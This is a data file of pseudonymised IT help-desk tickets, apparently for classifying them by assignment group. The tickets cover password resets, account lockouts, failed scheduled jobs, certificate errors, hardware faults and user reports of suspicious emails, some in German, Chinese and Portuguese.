mapping? - chefgtnp2 +",GRP_9 +"update of ae to bw and hana +mys, ptmjvysi vkrepcybwa - please confirm to change to itslpwra vybdkuoa - wilsfgtjl2 +mikhghytr rushethryli ; wilsfgtjl2 +talryhtir, michghytuael ??? tayloml current manager - andrdgrtew c mohnrysu. does this need a change in mapping? - mondhrbaz +",GRP_9 +"update of ae to bw and hana wiksufty, jimdghty l manager – so i believe this user id does not need changes - zazrtulds +carmer, craigfgh cardfrmeca – please confirm to change to itslpwra vybdkuoa - wilsfgtjl2 +povich, trtgoy ??? mgr - povictcfgt current manager - andrdgrtew c mohnrysu. does this need a change in mapping? - mondhrbaz + mohnrysu, andrdgrtew ??? current manager - johthryu c marftgytin. does this need a change in mapping? - magtyrtijc",GRP_9 +"request to reset microsoft online services password for kzeqbica.kzcjeiyd@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: friday, august 05, 2016 8:43 pm +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: amar request to reset microsoft online services password for kzeqbica.kzcjeiyd@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• kzeqbica.kzcjeiyd@gmail.com +• first name: santrhyat +• last name: jagthyin + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"xwlcqfsr lbcqfnie not able to open purchasing. xwlcqfsr lbcqfnie - xwlcqfsr.lbcqfnie@gmail.com, phone: 603. having a problem with purchasing access. email attached addressing the issue. please contract keith to resolve. ",GRP_0 +locked out on the caas application locked out on the caas application,GRP_7 +insert option not wrking in excel insert option not working in excel.,GRP_3 +vlinspectkiosk2 qlhmawgi sgwipoxn locked vlinspectkiosk2 qlhmawgi sgwipoxn locked,GRP_0 +cant access to network drive cant access to network drive,GRP_0 +please turn off eligibility for ethics for user wqinjkxs azoyklqe please turn off eligibility for ethics for user wqinjkxs azoyklqe ,GRP_23 +"ecc qa - peer certificate rejected by chainverifier just found out that the eccqa certificate is not valid. below is the error we got when talking to one of the apis on ecc qa._x000D_ +_x000D_ +[build#:5.0.c.07][http worker [@316135430]][com.bridgex.connect.foundation.businesslogic.custom.exception.cust360businesslogicexception.(14)], exception_x000D_ +error message: error while silently connecting: org.w3c.www.protocol.http.httpexception: peer certificate rejected by chainverifier_x000D_ +detailed error message: error while silently connecting: org.w3c.www.protocol.http.httpexception: peer certificate rejected by chainverifier_x000D_ +web service: _x000D_ +input paramdntys: _x000D_ + property : class value : class com.company.connect.b2b.dataconnectors.io.customer.customersearchinputtype_x000D_ + property : commoninput value : commoninputs [brand=kd, distchannel=, division=, language=e, maxrows=100, salesorg=, soldto=]_x000D_ + property : customerattributes value : [customerattributes [attributecode=, attributetext=, attributetype=]]_x000D_ + property : customersearch value : customersearch [customeraddress=customeraddress [city=, country=, countrylong=, district=, email=, fax=, houseno=, name2=, name3=, name4=, state=, statelong=, street=, street2=, telephone=, zipcode=], customername1=, customername2=, customerno=81889987, customertype=]_x000D_ + property : partnerrole value : []_x000D_ +webserviceclient : execute() : generirtc exception_x000D_ +_x000D_ +please get this fixed soon as we have lot of uacyltoe hxgayczeing going on in qa and we need the qa system back on line soon. our vendors are also about to demo the new project that they completed for company to the business and since we have certificate issue, they had to postpone it. hence, please treat this as urgent and fix as soon as possible._x000D_ +",GRP_14 +please change email address of user gncpezhx hopqcvza from @company.com to @company.com please change email address of user gncpezhx hopqcvza from @company.com to @company.com,GRP_2 +"abended job in job_scheduler: bk_hana_SID_62_os_dly_dp received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bk_hana_SID_62_os_dly_dp at 08/05/16 10:47:26",GRP_8 +"ethics issue inc1538003 : please turn off eligibility for ethics for user wqinjkxs azoyklqe _x000D_ +inc1538001 : please change email address of user gncpezhx hopqcvza from @company.com to @company.com",GRP_0 +"mdm tool not working via citrix system hello team, _x000D_ +could you please support with mdm issue via citrix? _x000D_ +the application mdm data manager and mdm import manager does not work when trying to upload catalogs._x000D_ +_x000D_ +you can find the error print screen attached._x000D_ +_x000D_ +",GRP_12 +benefits issue benefits issue,GRP_0 +unable to login to skype - certificate error unable to login to skype - certificate error,GRP_0 +xerox copier prtqx7302 will not scan to email. xerox copier prtqx7302 will not scan to email.,GRP_3 +ticket update on inplant_847905 ticket update on inplant_847905,GRP_0 +ticket (ticket_no1538972) update to anftgup nftgyair ticket (ticket_no1538972) update to anftgup nftgyair,GRP_72 +outlook issue : crm giving error message. outlook issue : crm giving error message.,GRP_0 +"my outlook will not open. it is stuck with a screen showing ""processing"". my outlook will not open. it is stuck with a screen showing ""processing"".",GRP_0 +mobile broad band issue : 7350 mobile broad band issue : 7350 ,GRP_0 +"ap 'usa-training-room' disassociated from controller '57.81.82.962'. - controller name: company-wlc-8510-1 _x000D_ +_x000D_ +received from: sthyuraj.sektyhar@company.com_x000D_ +_x000D_ +alarm: ap 'usa-training-room' disassociated from controller '57.81.82.962'. - controller name: company-wlc-8510-1_x000D_ +timestamp: august 5, 2016 7:07:12 am edt_x000D_ +device: usa-training-room,00:16:9c:91:1e:50_x000D_ +severity: critical_x000D_ +_x000D_ +_x000D_ +",GRP_4 +reset the password for nvawmlch ubyjolnc on erp / production / erp please reset my password. i did find out why it can't log on after a 24 hours time period. because when i reset my pass word i was on wi-fi. ,GRP_0 +"password change _x000D_ +_x000D_ +received from: rvdwyapu.fubjamlr@gmail.com_x000D_ +_x000D_ +i am locked out of password_management_tool password change because of too many attempts (my password wouldn't work) could you please re-set me_x000D_ +_x000D_ +",GRP_0 +"spoof email issue from: ugyothfz ugrmkdhx +sent: friday, august 05, 2016 6:52 pm +to: ed pasgryowski ; rxuobtjg grcmqaxd ; tiyhum kuyiomar ; hqbxstoy mdjftxli ; dfupksnr drnqjzph ; epilwzux qjhitbcr ; zarlgjes nxjvzcta ; kzishqfu bmdawzoi +cc: kathght shfhyw ; -sadmin <-sadmin@company.com>; hnynhsth jsuyhwssad ; qfrntose ivnhumzjalakrisyuhnyrtn +subject: spoof email issue + +hello all, + +",GRP_2 +"server HostName_973 is not responding we are attempting to login into our tax_interface software to apply updates and server HostName_973 is not responding. this is the second time within two weeks that we are having an issue with this server. please advise when issue has been corrected._x000D_ +",GRP_14 +formatar micro formatar micro,GRP_62 +security error in reisekosten abrechnungs programdnty security error in reisekosten abrechnungs programdnty,GRP_0 +"folder access _x000D_ +_x000D_ +received from: pjxclyhs.fcniljtu@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please give full access to hmovlkyq kinawsdv and iechuoxb zcejmwsq to the following folder:_x000D_ +_x000D_ +\\HostName_768\teams\finance\global bank bals fy17_x000D_ +_x000D_ +_x000D_ +kind ",GRP_34 +"supply_chain_software _x000D_ +_x000D_ +received from: yiramdntyjqc.qtrcepsa@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am unable to access supply_chain_software. it will not recognize my password._x000D_ +",GRP_0 +"HostName_1132:memory usage is now 98% internal error: unable to find any processes._x000D_ +probe 'processes' failed to start (command = processes.exe) error = (1450) insufficient system resources exist to complete the requested service. ",GRP_12 +company screensaver company screensaver ,GRP_0 +"unable to unlock user accounts in password_management_tool id password manager password_management_tool problem - look at the ""unlock accounts"" log. this happens to each and every user",GRP_2 +welcome screen in the germany lobby is not working any more - please check welcome screen in the germany lobby is not working any more - please check,GRP_28 +"skype _x000D_ +_x000D_ +received from: lpoebzsc.grknswyo@gmail.com_x000D_ +_x000D_ +i was looking for pathryu etasthon on skype. i type in his name in the search bar, and his picture shows up with robdyhr hhnght's name beside it._x000D_ +nvamcrpq gkrlmxne does not show up at all. robdyhr hhnght is no longer with company. perhaps communications intended and sent to robdyhr hhnght are being forwarded to pat, and the settings are incorrect._x000D_ +_x000D_ +in any event, can you have someone look into this and correct._x000D_ +",GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +"ms crm dynamics for outlook : ms crm dynamics for outlook : _x000D_ +error : an error occurred prompting this item to ms dynamics crm",GRP_40 +"i am a new employee and don't have access to hr_tool, benefits, ethics, and drives other than c. x5314 welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp._x000D_ +_x000D_ +",GRP_2 +ticket update on ticket_no0427861 ticket update on ticket_no0427861,GRP_0 +supply_chain_software password reset supply_chain_software password reset ,GRP_0 +chat disconnected chat disconnected,GRP_0 +"password reset for supply_chain_software password reset for supply_chain_software +user id : ludwidjfft",GRP_0 +"supply_chain_software login + +received from: ryafbthn.mijhmiles@company.com + +good morning, + +i am unable to log into supply_chain_software. can you please reset my password? + +ryafbthn mijhmijhmiles +leader of sales – msc +ryafbthn.mijhmiles@company.com +",GRP_0 +pobleme mit we_combi \jionmpsf wnkpzcmv pobleme mit we_combi \jionmpsf wnkpzcmv,GRP_24 +langsamer rechner \überprüfung \niptbwdq csenjruz langsamer rechner \überprüfung \niptbwdq csenjruz,GRP_24 +attendance_tool is not loading in internet explorer (missing adobe flash player) attendance_tool is not loading in internet explorer (missing adobe flash player),GRP_19 +setup new ws \kebogxzp difnjlkp setup new ws \kebogxzp difnjlkp ,GRP_24 +bluetooth keybankrd defekt \dardabthyr bluetooth keybankrd defekt \dardabthyr,GRP_24 +"erp login _x000D_ +_x000D_ +received from: udetjzmn.ayueswcm@gmail.com_x000D_ +_x000D_ +good morning_x000D_ +_x000D_ +can you please reset my erp login as it tells me my password is incorrect._x000D_ +_x000D_ +",GRP_0 +probleme mit bildschirmschoner \ we91 \jionmpsf wnkpzcmv probleme mit bildschirmschoner \ we91 \jionmpsf wnkpzcmv,GRP_24 +"mobiltelefon defekt mobiltelefon gigaset m2 professional mit der durchwahl 479 _x000D_ +akku ( defekt hält nicht mehr länger wie 1 tag ) _x000D_ +display ( kann man kaum noch was erkennen )_x000D_ +clip defekt._x000D_ +",GRP_33 +"scm_software + +received from: oetlgbfw.bsctrnwp@gmail.com + +i am not able to login my account +i must have the wrong password + +matghyuthdw is my username + +dan, +welcome to s&op .. i've created your user account; please use following logn credentials: + + + + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com +t +",GRP_0 +"driver update _x000D_ +_x000D_ +received from: kbdljsxf.kcmqtjgf@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +can you please update the drive and graphic card for my laptop – dell e5470 , let me know if you required further details._x000D_ +_x000D_ +",GRP_19 +"erp business objects analysis for excel - error message: add-in is not registered correctly _x000D_ +summary:i need acces to run bex reports showing margins. it should be the same access as qkmgtnla buraxcij & pqkthilr uitfqsen_x000D_ +_x000D_ +also _x000D_ +_x000D_ +_x000D_ +i also had erp business objects loaded onto my machine. however, it does not work. i get the following message ""the launcher is exited with error, see log file for more details. the analysis add-in is not registered correctly""",GRP_9 +windows account lockout windows account lockout,GRP_0 +ich kann mein erp passwort nicht zurück setzten. ich weiß mein erp passwort nicht mehr und habe 3 fehlversuche eingegeben. bitte zurücksetzen.,GRP_0 +"vmware tools are not running on the server HostName_1045 which is resided on host HostName_1178 vmware tools are not running on the server HostName_1045 which is resided on host HostName_1178, because of this backup Job_481 is failing ",GRP_12 +"new employee not able to login to system vvrtgwildj user id : vvrtgwildj +name : johghajknnes wildschuetz + +user logging in for the first time and getting + +error : die sicherheisdatenbank auf dem server enthält kein computerkonto für diese arbeitsstationsvertrauensstellung +error: the security database on the server does not contain a computer account for this workstation trust relationship +computer name : efdl8111226 + +contact # : +",GRP_0 +"lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe lhqsm518(fim production): miiserver.exe: wrong number of instances of process miiserver.exe, expected instances gte 1 but found 0",GRP_12 +new email problem new email problem,GRP_19 +"zlxcsqdg ckpojwir cannot see all his customer accounts in msd crm m. wilfert does not find three customers that are included in his sales plan in ms crm on the ""my active accounts"" view. also, he thinks he has some in the list that do not belong to him. attached his email to this ticket .",GRP_22 +"laptop key bankrd not working _x000D_ +_x000D_ +received from: ivohcdpw.ixcanwbm@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +keybankrd of laptop is not working. please do the need full_x000D_ +_x000D_ +laptop details :_x000D_ +_x000D_ +dell latitude 7350 win 8.1 x64 bit_x000D_ +service tag : j822362_x000D_ +computer name : ainl9912382_x000D_ +india branch_x000D_ +_x000D_ +_x000D_ +with best ",GRP_19 +"abended job in job_scheduler: Job_593 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_593 at 08/05/16 04:59:27",GRP_8 +"telephony_software - status update telephony_software - automated status update + +user zjcsqtdn jikyworg activated the screen saver by pressing windows + l. +gabryltkla maier (germany warehouse) were calling her, the phone was ringing and christgryta's status was changed to acd - agent not answering automatically. +by loging on again the status was remaining at acd- agent not answering. +call id.: 2175992332 + +as we facing that gap occationally would you please let us know if we could have the status changing back again to available automatically. + +",GRP_7 +distributor_tool not laoding distributor_tool not loading ,GRP_0 +"abended job in job_scheduler: Job_467 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_467 at 08/05/16 04:38:26",GRP_8 +"bls (beschichtungsleitstand) germany workflow error - pvd error message: ""laufzeitfehler '94': ungültige verwendung von null"" _x000D_ +_x000D_ +prompted at step: ""auftragsausgang > von revision freigegeben"" pressing okay results in a programdnty crash._x000D_ +_x000D_ +error occured first time this morning 6 am cet. _x000D_ +_x000D_ +there is one batch at this step (von revision freigegeben) at the moment: 7320. batches after that stage in the workflow can be processed as usual, however workflow is interrupted and batches directly before critical stage can be further processed. happens only for pvd. cvd is running without any issues. _x000D_ +_x000D_ +",GRP_25 +"erp crm(SID_39 web) sold-to accounts is saved without division. urgent sold-to account (81926490) is extended to null/empty division. it can't happened that sold-to account is saved without mandatory fields. this is big issue._x000D_ +this issue is generating failed queue items in crm msd. please investigate how the system allowed the user to save it._x000D_ +_x000D_ +",GRP_15 +"zmcp is not working for plant_33 personnel. review su53 - created instead of ticket_no ticket_no0426629 qwsjptlo hnlasbed + +erp +SID_34 + +""printed"" to jc00 +spool no. 9963485 +userid lynerwjgthy + +if the plant code is set at plant_34, label print is successful. when plant code is set to plant_33, error message and no output.",GRP_20 +der drucker für die ups-lapels druckt nicht richtig. der drucker steht am platz von wckrxovs aunsgzmd,GRP_33 +dock station dock station is not working ,GRP_19 +password reset request through password_management_tool password. password reset request through password_management_tool password.,GRP_0 +"abended job in job_scheduler: Job_481 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_481 at 08/05/16 04:03:26",GRP_8 +"cursor moving on its own while typing. i got the new laptop recently and cursor jumps or moves on its own, automatically, randomly while typing in windows laptop ",GRP_0 +unable to login the impact award login screen. i am unable to login the url: ,GRP_0 +"turn off telephony_software for turkey between 10:50 - 12:00 local time. turn off telephony_software for turkey between 10:50 - 12:00 local time due to meeting. _x000D_ +approved by djpwfxzt cfkwxlmq.",GRP_7 +"configair server in production not responding - 500 internal server error config air server runs into 500 internal server error._x000D_ +message: ""error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'_x000D_ +this error happens with the csscdrill model._x000D_ +_x000D_ +with the mill_model model configair is coming up but the model is not working. _x000D_ +_x000D_ +this has directly business impact for quotations.",GRP_14 +reset the password for obvyknzx gzvjtish on erp / production / erp please reset my erp password SID_34,GRP_0 +"abended job in job_scheduler: Job_483 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_483 at 08/05/16 03:34:26",GRP_8 +please reset password for user catgyhilp (ess kiosk user) please reset password for user catgyhilp (ess kiosk user) please email change information to coatea or whatlgp,GRP_0 +unable to connect to wifi unable to connect to wifi,GRP_0 +password reset erp SID_34 password reset erp SID_34,GRP_0 +"r: finished: start of s&op process _x000D_ +_x000D_ +received from: xfdkwusj.gyklresa@gmail.com_x000D_ +_x000D_ +hello_x000D_ +unable to sign in after java update, see the message_x000D_ +_x000D_ +[cid:image001.jpg@01d1eef4.8507SID_530]_x000D_ +_x000D_ +best ",GRP_0 +"aw: SID_1 erp _x000D_ +_x000D_ +received from: jofghyuach.nerreter@company.com_x000D_ +_x000D_ +hello sandrgru,_x000D_ +_x000D_ +please check your gui settings for SID_1. should be:_x000D_ +_x000D_ +[cid:image003.png@01d1eef4.09ad5380]_x000D_ +_x000D_ +",GRP_0 +"erp & business_client password blocked from: asfgthok topefd +sent: friday, august 05, 2016 11:19 am +to: nwfodmhc exurcwkm +subject: rad:fw: erp & business_client password blocked +importance: high + +hello , +again i am facing the issue while opening the erp. +password has been blocked. + +let us do needful. + +best ",GRP_0 +need teamviewer full version and visio application need teamviewer full version and visio application,GRP_19 +"calculation of the claim amount will make a mistake. from: uxndyfrs vahxnfgl [mailto:uxndyfrs.vahxnfgl@gmail.com] _x000D_ +sent: friday, august 05, 2016 10:53 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:fw: calculation of the claim amount will make a mistake._x000D_ +_x000D_ +hi_x000D_ +_x000D_ +calculation of the claim amount will make a mistake._x000D_ +please fix this._x000D_ +_x000D_ +the total amount of money usd 2770_x000D_ +_x000D_ +best ",GRP_13 +无法登陆hr_tool考勤系统 显示java插件无法加载，所需版本1.8.0.-45或更高版本。,GRP_30 +windows account locked windows account locked,GRP_0 +"erp crm complaint when is assigned generating duplicate email when we update the complaint with assigned status & employee responsible , system is sending duplicate emails to sales employee & employee responsible. ",GRP_15 +"abended job in job_scheduler: Job_1148 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1148 at 08/05/16 01:15:24",GRP_9 +reboot lhqsm286 (patent web uacyltoe hxgaycze server) server at 11:00 pm et on 08/04. reboot lhqsm286 (patent web uacyltoe hxgaycze server) server at 11:00 pm et on 08/04.,GRP_8 +"abended job in job_scheduler: Job_1141 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1141 at 08/04/16 23:45:28",GRP_9 +"kindly refer mail-renew account for visfgthal--- vvjodav,goptijdtnsya b- vsbhyrt hello snhdfihytu, +kindly refer mail-renew account for visfgthal--- vvjodav,goptijdtnsya b- vsbhyrt + +extn-393 +jayhrt bhatyr",GRP_2 +"SID_1 log in issue _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +could log on to SID_1 uacyltoe hxgaycze system_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1eef6.2418b6e0]_x000D_ +_x000D_ +warm ",GRP_0 +vpn 连接不上 vpn连不上，请转给 贺正平 atcbvglq.bdvmuszt@gmail.com,GRP_30 +"abended job in job_scheduler: bkwin_HostName_770_inc received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkwin_HostName_770_inc at 08/04/16 22:30:29",GRP_8 +"hi it help team, please unblock my new company device. from: ntydihzo aeptfbgs _x000D_ +sent: friday, august 05, 2016 2:51 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: wg: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird._x000D_ +importance: high_x000D_ +_x000D_ +hi it help team,_x000D_ +_x000D_ +please unblock my new company device._x000D_ +_x000D_ +",GRP_0 +" can you unblock my account so i can use outlook app? from: nwfodmhc exurcwkm +sent: friday, august 05, 2016 6:32 am +to: prishry budhtya +subject: re: rak re: your mobile device has been denied access to the server via exchange activesync because of server policies. + +dear prishry, + +",GRP_0 +"plant_101 value added services - one day pick route project. request to phase in additional vas customers. file attached with customer accounts.._x000D_ +add 1 pick day in supply_chain for the customers in attached list for plant_101 only.",GRP_18 +"please review your recent ticketing_tool tickets and let me know who modified the ethics collaboration_platform site from: mikhghytr wafglhdrhjop +sent: thursday, august 04, 2016 8:50 pm +to: nwfodmhc exurcwkm +subject: rak fw: ethics collaboration_platform site + +please review your recent ticketing_tool tickets and let me know who modified the ethics collaboration_platform site. a few weeks ago i had requested a change that placed a third column of selections. not sure who or why this was undone. + +mikhghytr wafglhdrhjop +sr. manager, global ethics and compliance programdntys +from: kzbuhixt zjdmoahr +sent: thursday, august 04, 2016 11:16 am +to: mikhghytr wafglhdrhjop +subject: re: ethics collaboration_platform site + +oh……?? + +sethdyr hdtyr +assistant general counsel – compliance and real estate +global director of ethics & compliance; ccep +kzbuhixt.zjdmoahr@gmail.com +",GRP_16 +电脑开机开不出来 to 小贺，早上电脑开机开不出来,GRP_30 +"ticket update from: rakthyesh ramdntythanjesh _x000D_ +sent: friday, august 05, 2016 5:26 am_x000D_ +to: ugyothfz ugrmkdhx_x000D_ +cc: mikhghytr rhoades_x000D_ +subject: ticket_no1535917-no acces to paystub and etime._x000D_ +_x000D_ +good morning safrgyynjit,_x000D_ +_x000D_ +user called to service desk and requested to expedite the case, requesting you to own the issue on priority and assist user on same._x000D_ +_x000D_ +_x000D_ +_x000D_ +kind ",GRP_0 +outlook freezing because of crm addin outlook freezing because of crm addin,GRP_0 +inquiry about employee- shesyhur posrt inquiry about employee- shesyhur posrt,GRP_0 +etime- time card update information. etime- time card update information.,GRP_0 +supply_chain_software account unlock and password reset supply_chain_software account unlock and password reset,GRP_0 +"can't login to bex analyzer through vpn - urgent _x000D_ +_x000D_ +received from: cfzsajbe.lyejkdho@gmail.com_x000D_ +_x000D_ +[cid:image001.jpg@01d1eee5.c90cdd40]_x000D_ +_x000D_ +best ",GRP_0 +"beenefits access on oneteam + +received from: bjitvswa.yrmugfnq@gmail.com + +yesterday, it helped me access some additional information on oneteam. but i still do not have a link showing for my benefits. i tried to search and nothing pulls up. + +tgbtyim dgtalone +key account manager +bjitvswa.yrmugfnq@gmail.com +",GRP_0 +"unable to connect to HostName_776 stehdgty jfhying called in for an issue where he and his supervisor was not able to connect to a network drive which is HostName_776. +they're doing the third shift and as per stehdgty there's only two of them who are working but in another hour there would be 5-6 more people coming.",GRP_0 +"customer group enhanced field _x000D_ +_x000D_ +received from: nlearzwi.ukdzstwi@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +a business decision has recently been made to view mfg_tooltion (customer classification ik) as indirect sales going forward. currently in the bex system they are classified as direct._x000D_ +_x000D_ +can you please modify the ""cust grp 1 – enhanced"" field (0cust_sales__zcustgrp1) to show mfg_tooltion (customer classification ik) customers as indirect._x000D_ +[cid:image001.png@01d1ee74.cc06a6a0]_x000D_ +_x000D_ +this field is used in several bex and hana reports (sales v plan, product management, otc billings, etc). let me know if you have any questions._x000D_ +_x000D_ +best ",GRP_9 +"ess portal + +received from: eagvusbr.nguqityl@gmail.com + +hi team, + +i was going into the ess file and checking some things for the ytd and this is the screen that shows up. this is on my report tab when i am logged into vpn. please assist in getting this to english. +[cid:image001.jpg@01d1ee74.0a355760] + + + +eagvusbr nguqityl +sales engineer + +",GRP_9 +robot HostName_776 is inactive robot HostName_776 is inactive,GRP_8 +"fw: case id [ref:_case-111121032:ref] :: others from: pacvbetl yptglhoe _x000D_ +sent: thursday, august 04, 2016 10:59 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: amar fw: case id [ref:_case-111121032:ref] :: others_x000D_ +_x000D_ +please see the forwarded email below. this looks suspicious to me and may be some sort of phishing or spamming email. please review it and let me know if it looks legitimate and is from legitimate individuals at company. i did not open or view any of the attachments. _x000D_ +_x000D_ +i have no idea why accounts payable would be sending me an email._x000D_ +_x000D_ +best ",GRP_0 +please remove user hugcadrn ixhlwdgt (ralfteimp) from palo alto quarantine please remove user hugcadrn ixhlwdgt (ralfteimp) from palo alto quarantine. user's pc has been replaced,GRP_2 +ticket update on inc1538505 to user hbmwlprq ilfvyodx ticket update on inc1538505 to user hbmwlprq ilfvyodx,GRP_0 +ticket update on ticket_no0427635 ticket update on ticket_no0427635,GRP_0 +"telephony_software is missing from pc pc received multiple windows security updates earlier, and now the telephony_software software is missing from the screen._x000D_ +ran requirements check software to see that dotnet framdntyework 4.6.1 is installed on the pc._x000D_ +telephony_software fails to install in the absence of dotnet 4.5.2_x000D_ +used dotnet uninstaller to remove all versions, restarted pc, dotnet 4.5.2 still fails to install._x000D_ +ran a repair tool to see that the pc still has dot net 4.6.1 installed._x000D_ +_x000D_ +need help to setup the compatible version of dotnet on the pc and help re install telephony_software 2016 r2_x000D_ +_x000D_ +1.checked previous cases/tickets log(cptl) : y_x000D_ +2.contact number: 346 901 0696_x000D_ +3.pc name: lmsl9517233_x000D_ +4.os version: windows 8.1 64 bit_x000D_ +5.sop exists: y/n: n_x000D_ +6.steps followed: na_x000D_ +7.next assignment: amerirtcas pc services_x000D_ +8.reason for reassignment: need to downgrade dot net to 4.5.2 to install crm 2016 r2 client_x000D_ +9.cost center: na_x000D_ +",GRP_3 +"erp account unlock name:mfeyouli ndobtzpw +language: +browser:microsoft internet explorer +email:mfeyouli.ndobtzpw@gmail.com +customer number: +telephone: +summary:unlock erp account for gadbpfrz unvdyask user name :boivin",GRP_0 +account locked account locked,GRP_0 +check status in purchasing please contact ed pasgryowski (pasgryo) about his purchasing check status. each time he tries to view his carts the view changes and he can't see his carts. i told him to click in change query and the show my team carts box but it seems to reset each time.,GRP_29 +"vpn for laptop + +received from: jxgobwrm.qkugdipo@gmail.com + +i need a vpn for my new laptop. name llv8517416 + +knethyen grechduy +engineer, product engineering +company +jxgobwrm.qkugdipo@gmail.com + +",GRP_34 +hr_tool etime option not visitble hr_tool etime option not visitble ,GRP_0 +"erp fi - ob09, two accounts to be added i am sorry, i have another two accounts that need to be added: 21253264 and 21253268. please copy from 21253214.the problem is that the error only comes up if someone tries to clear open items for these accounts. _x000D_ +_x000D_ +this incident has been created against to ticket_no1536494.",GRP_10 +tablet needs reimaged due to multiple issues with crm wifi etc tablet needs reimaged due to multiple issues with crm wifi etc,GRP_3 +"emails not coming in from zz mail _x000D_ +_x000D_ +received from: avglmrts.vhqmtiua@gmail.com_x000D_ +_x000D_ +good afternoon,_x000D_ +i am not receiving the emails that i sent from zz mail._x000D_ +please advise_x000D_ +_x000D_ +",GRP_29 +telephony_software issue telephony_software issue,GRP_0 +vip2: windows password reset for tifpdchb pedxruyf vip2: windows password reset for tifpdchb pedxruyf,GRP_0 +"machine não está funcionando i am unable to access the machine utilities to finish the drawers adjustment settings._x000D_ +is no network..",GRP_62 +an mehreren pc`s lassen sich verschiedene prgramdntyme nicht öffnen. an mehreren pc`s lassen sich verschiedene prgramdntyme nicht öffnen. bereich cnc.,GRP_49